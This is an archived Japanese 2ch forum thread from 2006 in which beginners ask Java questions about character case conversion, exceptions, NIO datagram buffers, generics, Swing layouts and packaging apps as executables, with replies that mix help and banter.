これってChar型では出来ない(?)のですね。
toUpperCaseとtoLowerCaseを使わず大文字小文字に変換させる方法ってあるんでしょうか?
初歩的ですみませんがよろしくお願いします。
0532デフォルトの名無しさん
2006/10/14(土) 17:23:13charはunsigned shortとみなすことが出来る。
あとは分かるな。
0533デフォルトの名無しさん
2006/10/14(土) 17:38:320534デフォルトの名無しさん
2006/10/14(土) 17:39:54........throws IOException {
・・・
}
これはIOに関するエラーが起きた場合コンパイルが通らなくなるから例外宣言をしておけば
コンパイルが通る、このように考えればいいのでしょうか
0535デフォルトの名無しさん
2006/10/14(土) 17:48:080536デフォルトの名無しさん
2006/10/14(土) 17:52:59throwsの後に対応させたいExceptionを追加すればエラーを回避出来るのでしょうか?。
その考え方でいいのでしょうか、という事でした。
0537デフォルトの名無しさん
2006/10/14(土) 17:54:530538デフォルトの名無しさん
2006/10/14(土) 17:57:27なにこれ?
0539デフォルトの名無しさん
2006/10/14(土) 18:03:450540デフォルトの名無しさん
2006/10/14(土) 18:26:51String s = "aBc";
char[] ca = s.toCharArray();
for (int i = 0; i < ca.length; i++) {
if (Character.isLowerCase(ca[i])) {
ca[i] = Character.toUpperCase(ca[i]);
} else if (Character.isUpperCase(ca[i])) {
ca[i] = Character.toLowerCase(ca[i]);
}
}
s = String.valueOf(ca);
0541デフォルトの名無しさん
2006/10/14(土) 18:38:11IOException例外が起きた時は、
それが起きたメソッドなりコンストラクタなりの中で例外をcatchして処理するか、
そのメソッド等を呼び出した側に処理させるようにthrowsで宣言するか、
どちらかを選択しないとコンパイルは通らない。
throwsは、例外を回避できるというよりも、処理する責任を呼び出し元に転嫁するためのもの。
0542デフォルトの名無しさん
2006/10/14(土) 18:52:440543534
2006/10/14(土) 18:53:02レス有り難うございます、なんとなく概念的な物が分かってきた気がします
あとは実際に使う時を意識して勉強続けます、こんなのも理解に苦しむなんてなさけない
0544デフォルトの名無しさん
2006/10/14(土) 23:04:44というおみくじのようなプログラムを作りたいのですが、
文字列をランダム表示するにはどうしたらいいのでしょうか。
0545デフォルトの名無しさん
2006/10/14(土) 23:08:320546デフォルトの名無しさん
2006/10/14(土) 23:52:40どうすればいいんでしょうか?
String形式ならわかるんですが検索してもわからず困っています
0547デフォルトの名無しさん
2006/10/15(日) 00:20:22ありがとうございます。
できたらもう少し詳しくお願いできませんでしょうか
0548デフォルトの名無しさん
2006/10/15(日) 00:23:23キーワードで答えに辿りつくスキルを身に着けることのが大事だろ
0549デフォルトの名無しさん
2006/10/15(日) 01:19:59いやもういいでしょう。545が答えみたいなもんだよ。
あとはjavadocとgoogleで解決
0550デフォルトの名無しさん
2006/10/15(日) 02:01:18mmdd形式とString形式というのが何なのか説明抜きでわかると
思ったのね? 月日それぞれ二桁?
0551デフォルトの名無しさん
2006/10/15(日) 07:08:410552デフォルトの名無しさん
2006/10/15(日) 08:44:390553デフォルトの名無しさん
2006/10/15(日) 09:26:24なぜかデータがすべて0で届きます。
connectしてみたり、receiveの代わりにreadを使ってみても変わりません。
クライアントから送ったデータサイズ分は届くのですが、
データ内容が0なんです。
なんでしょうか?
0554553
2006/10/15(日) 09:27:45import java.nio.ByteBuffer;
import java.nio.channels.DatagramChannel;
import sun.misc.HexDumpEncoder;
public class Test {
public static void main(String[] argv) {
try {
ByteBuffer buffer1 = ByteBuffer.allocate(100);
ByteBuffer buffer2 = ByteBuffer.allocate(100);
DatagramChannel server = DatagramChannel.open();
DatagramChannel client = DatagramChannel.open();
server.socket().bind(new InetSocketAddress(9001));
buffer1.put("AAAAAAAAAAAAAAAAAAAAA".getBytes());
System.out.println("client");
dump(buffer1);
client.send(buffer1, new InetSocketAddress("localhost", 9001));
server.receive(buffer2);
System.out.println("server");
dump(buffer2);
} catch (Exception e) { e.printStackTrace();}
}
public static void dump(ByteBuffer buffer) {
int len = Math.min(buffer.remaining(), buffer.position());
byte[] bytes = new byte[len];
System.arraycopy(buffer.array(), 0, bytes, 0, len);
System.out.println((new HexDumpEncoder()).encodeBuffer(bytes));
}
}
0555553
2006/10/15(日) 09:28:36client
0000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0010: 41 41 41 41 41 AAAAA
server
0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010: 00 00 00 00 00 .....
という感じで、受信すると0になっているのです。
0556553
2006/10/15(日) 13:16:42ByteBufferの操作手順が違っているだけでした。
0557デフォルトの名無しさん
2006/10/15(日) 13:40:080558ぴゅあ
2006/10/15(日) 14:07:04String形式と言っているのが、何を指して言っているつもりなのかいまいち判らないけど
>キーボード入力でmmdd形式を入力したい
キーボード入力が何を介してなされているのかは判らないけど
キーボードからの入力がなされるときに「mmdd形式」(月,日各数字2桁?)であるように見せたいなら
キー入力がある度にフォーマットチェックするのが基本では?
0559デフォルトの名無しさん
2006/10/15(日) 14:40:040560デフォルトの名無しさん
2006/10/15(日) 16:12:48どうすればいいのですか
0561デフォルトの名無しさん
2006/10/15(日) 16:18:08まずはコントロールパネルを開いてみよう
0562デフォルトの名無しさん
2006/10/15(日) 16:18:180563デフォルトの名無しさん
2006/10/15(日) 16:19:390564デフォルトの名無しさん
2006/10/15(日) 16:35:160565デフォルトの名無しさん
2006/10/15(日) 16:35:46なるほど。ありがとう
0566デフォルトの名無しさん
2006/10/15(日) 16:37:19clone()つかわずにそのまま代入
0567デフォルトの名無しさん
2006/10/15(日) 16:43:19なんか違う
0568デフォルトの名無しさん
2006/10/15(日) 17:25:18それは参照が代入されるだけでは
0569デフォルトの名無しさん
2006/10/15(日) 17:33:160570デフォルトの名無しさん
2006/10/15(日) 17:35:090571デフォルトの名無しさん
2006/10/15(日) 18:23:20OS:XP-SP2
javaバージョン:1.41
現象:NetScape4.75ではアプレットが起動するが
IE6では×マークが出てアプレットが起動しません。
とりあえずぐぐって、IE->ツール->インターネットオプション
->セキュリティタブの確認や詳細設定なども試してみましたが
だめぽですた。
どなたかお知恵をかして下さい。
0572デフォルトの名無しさん
2006/10/15(日) 18:31:24Netscape4.75でjavac 1.41の.classを動かしたいのか?
0573デフォルトの名無しさん
2006/10/15(日) 19:26:46配列のgetter/setterを作成したいのですが、
private String[] name;
public getName(){
}
0574デフォルトの名無しさん
2006/10/15(日) 19:27:46配列のgetter/setterを作成したいのですが、
private String[] name;
public getName(){
return name;
}
public setName(String[] name){
this.name = name;
}
にすると問題があるのでしょうか?
0575デフォルトの名無しさん
2006/10/15(日) 19:37:140576デフォルトの名無しさん
2006/10/15(日) 19:38:32return name;
}
戻り値の宣言がないだろうが。
0577デフォルトの名無しさん
2006/10/15(日) 19:45:38配列のgetter/setterはやめたほうがいいんだぜ?
public String getName(int idx) { return name[idx]; }
public void setName(int idx, String newName) { name[idx] = newName; }
0578デフォルトの名無しさん
2006/10/15(日) 19:56:03なんでよ?
0579デフォルトの名無しさん
2006/10/15(日) 19:57:11それも問題あるだろ。
0580デフォルトの名無しさん
2006/10/15(日) 20:02:22内部のデータ構造を見せすぎだからなんだぜ?
クラスが何も知らないうちにユーザーが勝手に書き換えたりとか
出来ると気持ち悪いんだぜ?
0581デフォルトの名無しさん
2006/10/15(日) 20:06:39レスサンクスです。
>>577さんの方法でやると今度は、
idxのサイズを返す、メソッドが必要になると思います。
0582デフォルトの名無しさん
2006/10/15(日) 20:08:460583デフォルトの名無しさん
2006/10/15(日) 20:12:41それじゃ、配列の内容を全て取得するにはどうするんだ?
sizeを返すメソッドを作って、その回数だけループしながらメソッドを呼ぶのか?
受け取り側では同サイズの配列オブジェクトを新たに作るのか?
新しいオブジェクトの生成は無駄じゃないのか?
それから、その理屈で言うとimutableではない型のgetter/setterはすべて悪ということか?
0584デフォルトの名無しさん
2006/10/15(日) 20:25:593Dをモデリングするソフトとかいりますよね
0585デフォルトの名無しさん
2006/10/15(日) 20:41:29public class UniqueMap<K,V> //KとVはクラス
<class A.class B>って表記を初めて見たんですが
この表記に名前とかあるんですか?
0586デフォルトの名無しさん
2006/10/15(日) 20:43:300587デフォルトの名無しさん
2006/10/15(日) 21:14:57極度のシッタカが出現したなw
>>577で内部データが完全にセーフティになったと思っているのだろうかww
0588デフォルトの名無しさん
2006/10/15(日) 21:24:180589デフォルトの名無しさん
2006/10/15(日) 21:33:25ていうか、FindBugs厨だろw
全部鵜呑みにする極度のバカw
0590デフォルトの名無しさん
2006/10/15(日) 21:52:05こんにちわバカさま
0591デフォルトの名無しさん
2006/10/15(日) 21:59:33でどうすればいいのさ?
0592デフォルトの名無しさん
2006/10/15(日) 22:05:420593デフォルトの名無しさん
2006/10/15(日) 22:06:40それでガタガタ言う奴は無視。
0594デフォルトの名無しさん
2006/10/15(日) 22:33:15ジェネリスクって言うのか・・・
レスthx
0595デフォルトの名無しさん
2006/10/15(日) 22:40:30Gene-Risk:ジェネリスク→ジーンリスク
遺伝子情報の破損に関する一般的な項、現在は次の3つが存在する
・変異原性に関する部
・逆転写酵素に関する部
・その他重要ではない危険に関する部
これらは遺伝子学上特に
ダメだ、文才が無い
0596デフォルトの名無しさん
2006/10/15(日) 22:41:32で、Generics:ジェネリクスね
C++のtemplateを思想に持つけれど微妙に違うので注意が必要な感じ
0597デフォルトの名無しさん
2006/10/15(日) 22:43:55<T>からClassを取り出せないなど、
テンプレートとしての機能は無いに等しい
0598デフォルトの名無しさん
2006/10/15(日) 22:45:34なんか腑に落ちないけど、さんくす。
それでやってみます。
0599デフォルトの名無しさん
2006/10/15(日) 22:48:23俺も微妙に賛同しかねるんだけれど、
かといって配列をブロック外に出しちゃいけない理由なんてないし、
目的のための手段なら厭わなくていいかと(つまり目的と解法を明記しろってことね)
0600デフォルトの名無しさん
2006/10/15(日) 22:50:07http://sourcepost.sytes.net/sourcepost/sourceview.aspx?source_id=28471
サーバ-クライアント間の通信をするプログラムなのですが(192.xxx.x.xのところには自分のPCのIPアドレス)、
両方を単体のPCで実行して通信することには成功したのですが、
これを複数代のPCをLANで繋いで一つのPCでServerDemoを実行しサーバーを立て、
他のPCでClientDemoを実行しクライアントとしてServerに接続、通信をするためには
コードをどう変えればいいんでしょうか。
0601デフォルトの名無しさん
2006/10/15(日) 22:52:13設計し直しやね
0602デフォルトの名無しさん
2006/10/15(日) 23:31:44オマイ結局適当に煽ってるだけじゃないかw
0603ぴゅあ
2006/10/16(月) 00:13:42試してみてどうなりました?
細かくは見てないけど、パフォーマンスとかは置いといて動くことは動きそうだけど
ServerDemo#runServer()のwhileループ内で
accept毎にスレッドを起こすことを考えるくらいでいいんじゃないかと思うけど
いいかどうかは判らないけど、簡単なサンプルとして見てみるとか
http://java.sun.com/products/jdk/rmi/class-server.zip
0604デフォルトの名無しさん
2006/10/16(月) 00:23:01って書いて後で呼び出そうとしたらnullになってしまって
getSelectedCheckbox()ができません。
どこがおかしいのですか?
0605デフォルトの名無しさん
2006/10/16(月) 00:25:36「後」とか言う部分を言及してないので何とも言えんのぉ
0606デフォルトの名無しさん
2006/10/16(月) 00:30:24アプレットのinitメソッドで一行目を書いて
Threadを継承した内部クラスの中のrunメソッドで
getSelectedCheckbox()を使おうと思ったんですが。
ほんとに素人で右も左も分からなくて。
0607デフォルトの名無しさん
2006/10/16(月) 00:36:51右と左は自分で確かめないと色々ダメです
そこで手抜きをしちゃぁいけません
thread越しの操作について色々言ってる情報を本なりネットなりで探して知識をつけてきておくんなせぇ
0608デフォルトの名無しさん
2006/10/16(月) 00:42:28これでもかなり悩んだんですけどね
threadのなかでも他の変数は問題なく使えたので
CheckboxGroupの使い方に問題があると思ってたんですが。
スレッドを勉強してみます。
0609デフォルトの名無しさん
2006/10/16(月) 00:54:29Javaの関数?メソッドは 計どのくらいの数あるんですか?
0610デフォルトの名無しさん
2006/10/16(月) 00:56:290611デフォルトの名無しさん
2006/10/16(月) 00:58:15ここに貼られているスクリプト?はどういうものですか?
0612デフォルトの名無しさん
2006/10/16(月) 01:16:140613デフォルトの名無しさん
2006/10/16(月) 01:27:1623種類はあるだろ
0614デフォルトの名無しさん
2006/10/16(月) 07:03:520615デフォルトの名無しさん
2006/10/16(月) 07:29:390616デフォルトの名無しさん
2006/10/16(月) 10:32:590617デフォルトの名無しさん
2006/10/16(月) 13:54:05ジェネリック医薬品かと思ったじゃないか
しかし基本情報にもGenericsが登場していたんだな。
ついには、クロージャなどが問題に出るようになるのかな?
0618デフォルトの名無しさん
2006/10/16(月) 13:55:08引数となる配列にfinalをつけてみるとかw
Connectionsで要素をすべてfinalにするメソッドを
使ってみるとかw
0619デフォルトの名無しさん
2006/10/16(月) 13:55:57人間が作った数だけある。
お前がn個作ればその合計数はn個増える。
0620デフォルトの名無しさん
2006/10/16(月) 13:56:42マムコ?
0621デフォルトの名無しさん
2006/10/16(月) 13:56:58キンタマの数が?
0622デフォルトの名無しさん
2006/10/16(月) 14:11:07>>618
>>618
0623デフォルトの名無しさん
2006/10/16(月) 15:12:08なぜ100兆と言わないのだ。
0624デフォルトの名無しさん
2006/10/16(月) 21:48:16レイアウトに関する質問なんですが、フレームを左右3:1で区切って
左にパネル1を置いて右にパネル2を置くという事をしたいんです。
思いついた方法としては、各パネルのサイズを指定して
setLayoutをnullにして座標指定でパネルを配置すればできると思うのですが
他に効率の良い方法があれば教えてください。
お願いします。
0625デフォルトの名無しさん
2006/10/16(月) 22:00:40ここは初心者が質問に答えるスレです。
初心者の質問に答えるスレではないので、
すれ違いです。
0626デフォルトの名無しさん
2006/10/16(月) 22:05:59>>615はエロいから
0627デフォルトの名無しさん
2006/10/16(月) 22:07:46SetLayoutをnullにする必要性は感じないと思うが。
とりあえずGridLayoutにしてそのなかに
Panelを突っ込んでしまえばいいと思うが。
NetBeansを使えばそういうのも簡単にできるで
0628ぴゅあ
2006/10/16(月) 22:36:34使ったことないけど、java.awt.GridBagLayoutとかも使えるかも
>フレームを左右3:1で区切って
としか言われてないので判断はできないけど
javax.swing.JSplitPaneとかもありかも?
フレームと言っているのがjava.awt.Frameとかだったりだと
どうなるかは判らないけど
0630デフォルトの名無しさん
2006/10/16(月) 23:51:57String file_name1="./file1";
String file_name2="./flle2";
public void Angouka(void){
}
0631デフォルトの名無しさん
2006/10/17(火) 00:00:240632デフォルトの名無しさん
2006/10/17(火) 00:01:060633デフォルトの名無しさん
2006/10/17(火) 00:10:33自分で考えてください
>>631
頭冷やしてください
0634デフォルトの名無しさん
2006/10/17(火) 00:22:07ITmedia エンタープライズ:Java Tips:手軽に暗号化・復号化するには?
http://www.itmedia.co.jp/enterprise/articles/0407/01/news017.html
0635デフォルトの名無しさん
2006/10/17(火) 00:23:39ふたつともintだからまとめて扱うと
例えばコマンドライン引数名がargsだったとしたら
args.lengthでわかる
つか、int型っていうけど、もともとString[]型で入って来るものだから
String[]型で入ってきたものをパースしてintに変換するってとこだろうから
0636デフォルトの名無しさん
2006/10/17(火) 00:33:01数値か文字列を判別したいのです。
0637ぴゅあ
2006/10/17(火) 01:19:32>数値か文字列を判別したい
数値か、そうでないか…
というように見方を変えてみたりするといいんじゃないでしょうか
その上で>>635の話をもう一度読み直してみれば?
0638デフォルトの名無しさん
2006/10/17(火) 01:24:590639デフォルトの名無しさん
2006/10/17(火) 01:56:140640デフォルトの名無しさん
2006/10/17(火) 02:18:250641デフォルトの名無しさん
2006/10/17(火) 02:22:530642デフォルトの名無しさん
2006/10/17(火) 02:58:450643ぴゅあ
2006/10/17(火) 03:09:31みんなわかるよね?
>>636
Integer.parseInt(String)を使ってNumberFormatExceptionを
キャッチすれば文字列にすればいいかも
0644デフォルトの名無しさん
2006/10/17(火) 03:33:450645デフォルトの名無しさん
2006/10/17(火) 03:50:11激しく同意
0646デフォルトの名無しさん
2006/10/17(火) 07:34:31アドバイス有難うございます。
自分で考えたプログラムですと、args.length分、forでparseIntをして
try catchする。なんですが第一引数が数値以外ですと終了してしまいます。
イメージは掴めてたのですが…
もう少し詳しく教えていただければ幸いです。
0647デフォルトの名無しさん
2006/10/17(火) 07:51:360648デフォルトの名無しさん
2006/10/17(火) 08:37:430649デフォルトの名無しさん
2006/10/17(火) 08:44:13for(String arg: args){
try{
d.Add(Integer.getInteger(arg));
}catch(Exception e){
d.Add(arg);
}
}
みたいな
0650デフォルトの名無しさん
2006/10/17(火) 09:32:380651デフォルトの名無しさん
2006/10/17(火) 09:48:005.5.20
0652デフォルトの名無しさん
2006/10/17(火) 11:09:04さすがアホジャバー。
0653デフォルトの名無しさん
2006/10/17(火) 11:50:25ああああああああほほほfhdさjfjgさがjjjjjしあお
0654デフォルトの名無しさん
2006/10/17(火) 12:35:500655デフォルトの名無しさん
2006/10/17(火) 12:43:550656デフォルトの名無しさん
2006/10/17(火) 13:53:11Jakarta Commons Langの StringUtils.isNumeric()を使え
0657デフォルトの名無しさん
2006/10/17(火) 13:53:47奴が他人のレスをコピペしてなりすます
ことやってるのはいつものことだよ
0658デフォルトの名無しさん
2006/10/17(火) 13:55:14超効率悪い。Genericsの使い方として
適しているとはとても思えぬ。
だいたいObjectって一体何考えてるのか。
ドトネト屋はこの程度か
0659デフォルトの名無しさん
2006/10/17(火) 14:05:23ドトネト屋はこの程度か
0660デフォルトの名無しさん
2006/10/17(火) 14:11:03アホジャバーはこの程度か
0661デフォルトの名無しさん
2006/10/17(火) 14:21:53. ,イ/ l/  ̄ ̄`ヽ!__
ト/ |' { `ヽ. ,ヘ
N│ ヽ. ` ヽ /ヽ / ∨
N.ヽ.ヽ、 , } l\/ `′
. ヽヽ.\ ,.ィイハ | _|
ヾニー __ _ -=_彡ソノ u_\ヽ、 | \ >>649
.  ゙̄r=<‐モミ、ニr;==ェ;ュ<_ゞ-=7´ヽ >
. l  ̄リーh ` ー‐‐' l‐''´冫)'./ ∠__ そしてアホジャバーは
゙iー- イ'__ ヽ、..___ノ トr‐' /
l `___,.、 u ./│ /_ コピペにマジレスするのが得意だったんだよ!!!
. ヽ. }z‐r--| / ト, | ,、
>、`ー-- ' ./ / |ヽ l/ ヽ ,ヘ
_,./| ヽ`ー--‐ _´.. ‐''´ ./ \、 \/ ヽ/
-‐ '''"  ̄ / :| ,ゝ=< / | `'''‐- 、.._
/ !./l;';';';';';';\ ./ │ _
_,> '´|l. ミ:ゝ、;';';_/,´\ ./|._ , --、 | i´!⌒!l r:,=i
. | |:.l. /';';';';';|= ヽ/:.| .|l⌒l lニ._ | ゙ー=':| |. L._」
l. |:.:.l./';';';';';';'! /:.:.| i´|.ー‐' | / | |. ! l
. l. |:.:.:.!';';';';';';';'| /:.:.:.:!.|"'|. l' │-==:|. ! ==l ,. -‐;
l |:.:.:.:l;';';';';';';';| /:.:.:.:.:| i=!ー=;: l | l. | | / //
l |:.:.:.:.:l;';';';';';';'|/:.:.:.:.:.:.!│ l l、 :| | } _|,.{:: 7
l |:.:.:.:.:.:l;';';';';'/:.:.:.:.:.:.:.:| |__,.ヽ、__,. ヽ._」 ー=:::レ' ::::::|; 7
. l |:.:.:.:.:.:.l;';';'/:.:.:.:.:.:.:.:.:.|. \:::::\::::: ヽ ::::::!′ :::| .:/
. l |:.:.:.:.:.:.:∨:.:.:.:.:.:.:.:.:.:.:.! /ヽ::: `::: :::: ....::..../
0662デフォルトの名無しさん
2006/10/17(火) 14:24:330663ぴゅあ
2006/10/17(火) 14:30:41ありがとう
そんな風に言ってもらえたりすると嬉しく思ったりもするけど
あちしは別に詳しいわけではないですよ
やっていないことも、知らないこともまだまだ沢山あるし
0664デフォルトの名無しさん
2006/10/17(火) 14:31:590665ぴゅあ
2006/10/17(火) 14:37:15なるほど
ただint型ってところでは仕様とか運用面(と言ったのでいいのか?)とかで
意識しておく必要あるかもですね
0666デフォルトの名無しさん
2006/10/17(火) 14:40:490667デフォルトの名無しさん
2006/10/17(火) 14:53:37実際の処理に例えますと、子孫を持ったフォルダの削除なんかでしょうか。
このような処理で、全体の処理に対する進捗状況を随時更新して示したいと
考えています。例を続けますと、まさに Windows エクスプローラでの削除中の
進捗表示のようなものです。
もちろん、処理の前に子孫をトラバースしきって数を全部数えれば正確にはなりますが、
それでは負荷が大きすぎるので、何かいいアルゴリズムなどが無いか悩んでいます。
逆に、数えないことである程度概算になったり、進捗率が戻ったりしても構いません。
0668デフォルトの名無しさん
2006/10/17(火) 14:55:57馬鹿回答者も未だいたのか
馬鹿解答しかできないなら解答しなけりゃいいのに
Genericsつかうと効率よくなるってwww
0669デフォルトの名無しさん
2006/10/17(火) 15:07:52せっかく頭から並んでる値を順番に取り出す方法すらない。
getFirst()、getNext()で配列の個数分ループして、
ループを出てclear()するだけなのに。
スプライトのObjectを表示優先度順に登録して、
表示したら全部捨てるみたいなのを高度なワザを使って
実装するつもりだったのが、、当然同じ表示優先度の
スプライトもあるわけで、Mapはすべてつかえねー!
バケットソートでいいやもう。
それともJavaに重複キーを許すリスト配列ありますか?
0670デフォルトの名無しさん
2006/10/17(火) 15:08:34ほうほう、それでそれで?
0671デフォルトの名無しさん
2006/10/17(火) 15:16:03http://news18.2ch.net/test/read.cgi/news7/1141616992/
0672デフォルトの名無しさん
2006/10/17(火) 15:24:01期待される回答ではないと思うが、UIで示すなら
JProgressBar.setIndeterminate(true)
の不確定モードを使って逃げるという手もある。
0673デフォルトの名無しさん
2006/10/17(火) 15:52:04申し訳ないです。UI は幸か不幸かドメイン外で、ロジックの部分に悩んでいるところでした。
ただ、ご指摘のキーワードあたりで手繰ったら何か出てくるかもしれませんね。
(不確定でないモードで似たようなことを行っているとか)。
Sun 謹製のものでもロジックは当然ながら全く触れていませんがキーワードは増えましたし。
ttp://java.sun.com/docs/books/tutorial/uiswing/components/progress.html
ありがとうございます。
0674ぴゅあ
2006/10/17(火) 16:00:47>それともJavaに重複キーを許すリスト配列ありますか?
リストと言えばListを指すのだろうと思うけど
APIリファレンスで説明の冒頭を読んでみれば
List ... (通常)重複する要素を許可する
Set ... 重複要素のないコレクション
Map ... 同一キーを複数持つことは不可
とか
Listインターフェイスの説明で"通常"と言っているので
実際に使うクラスの説明を見ておくのがいいということは言っていると思いますけど
もっといい手もあるかもですけど、
Listは順序性を保証すると言っているので、
# このインタフェースのユーザは、リスト内のどこに各要素が挿入されるかを精密に制御できます。
キーと値のペアをListに持って、ソートしてやるとか
0675デフォルトの名無しさん
2006/10/17(火) 16:19:14public class A {
public static B b
public bloolean uso;
public static void main(String[] args) {
b = new B();
b.setVisible(true);
} }
public class B extends JFrame {
private C c;
public B(){
c = new C( ・・・ )
・・・・
getContentPane().add( c )
・・・・
} }
public class C extends JPanel{
public C(){
addMouseListener( new MouseAdapter(){
public void mousePressed( MouseEvent mouseevent ){
doMouseDown( mouseevent );
}}); }
public void doMouseDown( MouseEvent ev ){
swich( mode ){ ←これ
case 0 : ・・・・・ return;
case 1 : ・・・・・ return;
} } }
このままではクラスCで変数modeを解決できませんとコンパイルエラーがでてきます。
三つのクラスは三つのファイルに分けて記述されてます。
0676ぴゅあ
2006/10/17(火) 16:21:48(Win2000とか最近の…かな?)Winで大量のファイルの削除とかをするとき
暫く"計算しています"みたいな(?)考えている長い時間があったりしますよね
進捗のためにファイル数をカウントしていたりする間だろうと推測してますが
>進捗率が戻ったりしても構いません。
というところを踏まえて
・削除処理と進捗表示(のためのカウント)処理を別スレッドで処理させる
カウント結果を進捗表示に反映させるのは適当なタイミングで
・削除処理がカウントを追い越すとめんどくさいかもしれないので意識してみる
適当なタイミングでカウント処理から削除処理に依頼を出すとか
なんてのも考えられそうですけど
0677デフォルトの名無しさん
2006/10/17(火) 16:32:08translateで原点の位置を変えられたんですが
y軸を上向きに取れるようにはなりませんか?
0678667
2006/10/17(火) 16:33:35確かに待ち時間がある場合もありますね。あれはやはり数えているのでしょうか…
結局、地道に数えるか、相当おおざっぱにするか。
別スレッドで走らせるのは頭にありませんでした。これは検討してみます。
結構有名なプログラムでも(と言うかまさにエクスプローラも)進捗バーって
いい加減な場合も多いですし(ある時期の Mozilla のインストーラには笑
いましたが。右まで言ったら左に戻るという…)、
少なくともイディオムのようなものは無さそうと言うところなのですかね。
(勝手な想定としては、ある程度予想と補正をしつつ算出、と言ったできあいの
アルゴリズムが存在していたら、と言う感じでした)。ありがとうございます。
0679デフォルトの名無しさん
2006/10/17(火) 16:54:40java.awt.geom.AffineTransforml#rotate(double)
0680デフォルトの名無しさん
2006/10/17(火) 17:10:33Graphicsとはどう使えばいいんですか?
0681デフォルトの名無しさん
2006/10/17(火) 17:18:18Sun の奴なら Graphics のインスタンスを Graphics2D にキャストすれば
java.awt.Graphics2D#setTransform(AffineTransform) で使える。
java.awt.Graphics2D#rotate(double) があったから、こっち使っても良いかも。
JDK 1.1 時代(MSJVM対応とか)を強制されてるなら、
自力で回転させるしかないかも。少なくとも Graphics は回転をサポートしてない。
0682デフォルトの名無しさん
2006/10/17(火) 17:19:37○ 最近のJDKやら J2SE SDK を使ってるなら
0683デフォルトの名無しさん
2006/10/17(火) 17:25:51translateで何度も原点を変更しても、また(0,0)に戻せますか?
0684デフォルトの名無しさん
2006/10/17(火) 17:26:400685ぴゅあ
2006/10/17(火) 17:32:13>Aのクラスで宣言した変数usoを、Cのクラスで次のように使用したい
と
>このままではクラスCで変数modeを解決できませんとコンパイルエラーがでてきます。
とは、全くの別物ですね
modeとはどんな値を持つもので、何処に存在しているんでしょう?
まずはそれを解決させること
それから、変数usoをクラスCから使うとか以前に
クラスAをインスタンス化しているところが見当たらないということは
変数usoを使おうとしても存在していないことになったりするんではないでしょうか
まず、クラスCでクラスAをインスタンス化したオブジェクトをどのように扱うかを
考えるのがいいのではないかと
0686デフォルトの名無しさん
2006/10/17(火) 17:44:170687デフォルトの名無しさん
2006/10/17(火) 17:46:270688デフォルトの名無しさん
2006/10/17(火) 18:35:25= new BufferedReader(
new InputStreamReader(
new FileInputStream("hello.txt"),"MS932"));
の場合はcloseするのはin.close();だけでいいんでしょうか?
0689デフォルトの名無しさん
2006/10/17(火) 18:49:220690デフォルトの名無しさん
2006/10/17(火) 19:13:36in を close すれば、 InputStreamReader も FileInputStream も自動的に close() される。
0691デフォルトの名無しさん
2006/10/17(火) 23:58:15むずかしい。
どういった感じでよんでいけばよいですか?
0692デフォルトの名無しさん
2006/10/18(水) 00:01:08まず半分燃やして真っ黒けになった奴を食べればいいんじゃないかな。
0693デフォルトの名無しさん
2006/10/18(水) 00:01:080694ぴゅあ
2006/10/18(水) 00:04:08基礎からやり直しなさい
0695デフォルトの名無しさん
2006/10/18(水) 00:35:270696デフォルトの名無しさん
2006/10/18(水) 00:36:34TreeMap<MyKey, List<MyObject>>
0697デフォルトの名無しさん
2006/10/18(水) 00:41:49List
0698デフォルトの名無しさん
2006/10/18(水) 00:43:01AA荒らし野郎のばかと比べたらピュアは全然建設的な
レスをしている。潰す必要はない。むしろつぶすべきでない
0699デフォルトの名無しさん
2006/10/18(水) 00:43:40Jakarta Commons Collections
0700デフォルトの名無しさん
2006/10/18(水) 00:58:21まちがい指摘されたからって怒るなよ
0701デフォルトの名無しさん
2006/10/18(水) 01:09:470702デフォルトの名無しさん
2006/10/18(水) 01:55:52現在、自分はEclipseでSWTアプリケーションを作る勉強をしています。
参考書通りにテキストボックスにURLを記入してボタンを押すと下のスペースに
サイトを表示するという基礎的なアプリケーションを作ってみました。
ただ参考書にはEclipse上でコンパイルして実行することまでしか解説していません。
自分がやってみたいことは「〜.java」「.class」ではなく「〜.exe」として出力して、
ファイルをクリックしただけでアプリケーションを実行できるようにのです。
基本な事で恐縮ですが、どなたか方法を教えていただけないでしょうか?
0703デフォルトの名無しさん
2006/10/18(水) 02:03:43javaはWindowsに縛られるようなアプリケーションの配置方法は一般的ではないです
jvmとjadについて調べてみてください
0704デフォルトの名無しさん
2006/10/18(水) 02:08:27ttp://www.ne.jp/asahi/web/ryo/exewrap/
> javaはWindowsに縛られるようなアプリケーションの配置方法は一般的ではないです
javaのスタンスは「環境に依存しない様に、特別に特別に配慮する」というものです
なのでWindowsのみに縛られるようなexe形式の標準装備は、javaにとってすれば受け入れがたい選択です
なのでjavaはそういうのを周辺のユーティリティに任してしまっています
なので、「一般的ではない」です
0705デフォルトの名無しさん
2006/10/18(水) 02:09:07なので
なので
もう駄目だ、寝る
0706デフォルトの名無しさん
2006/10/18(水) 02:19:46眠いところ、わかりやすく教えていただき、ありがとうございました!
0707ぴゅあ
2006/10/18(水) 06:04:07何度も読んでみるとかでしょうけど
難しくて手に負えないと思えてしまうようなら
とりあえず他の本を探してみるのがよいだろうと思います
本を買うときタイトルだけ見て買ってしまうとかあるんでしょうか
少し立ち読みしてみて解りそうだと思える本を選ぶとかした方がいいと思います
そのうち再び読んでみると、なんであのとき解らなかったんだろうとか
思えたりすることもあるんだろうと思います
これまで読んできて解ったと思っているものでも
たまに引っ張り出して何度も読み直してみたりしていると
新たに見つけるものもあったりするものだろうと思いますよ
0708ぴゅあ
2006/10/18(水) 06:22:54>「〜.java」「.class」ではなく「〜.exe」として出力して、
>ファイルをクリックしただけでアプリケーションを実行できるようにのです。
簡単(?)にはバッチファイルから…というのもあると思いますけど
jarファイルにしてやるという手もあるでしょう
(直接jarファイルから実行するまではやったことないけど)
そんな感じのところをやりたいと考えているんでしょうか
jarファイルにして実行する手順については
jarコマンド,マニフェストファイル辺りについて
調べてみればよいだろうと思います
>>704
なるほど、そんなのもあるのね
jarだと依存はしなかったりもするんだろうと思うけど
Win以外でjarから実行しようと思ったらどうなるんだろう…
0709デフォルトの名無しさん
2006/10/18(水) 09:23:590710デフォルトの名無しさん
2006/10/18(水) 14:32:24MacOSXではアプリケーションバンドル形式にするほうが自然だけど、
Main-Class指定のあるjarアイコンからの起動も可能。
UNIX系だとGNOMEやKDEのファイルマネージャで設定できるかな。
Linuxだと実行パーミッションのあるファイル名をコマンドラインで
叩いたときの挙動をカーネルモジュールレベルで設定できるので
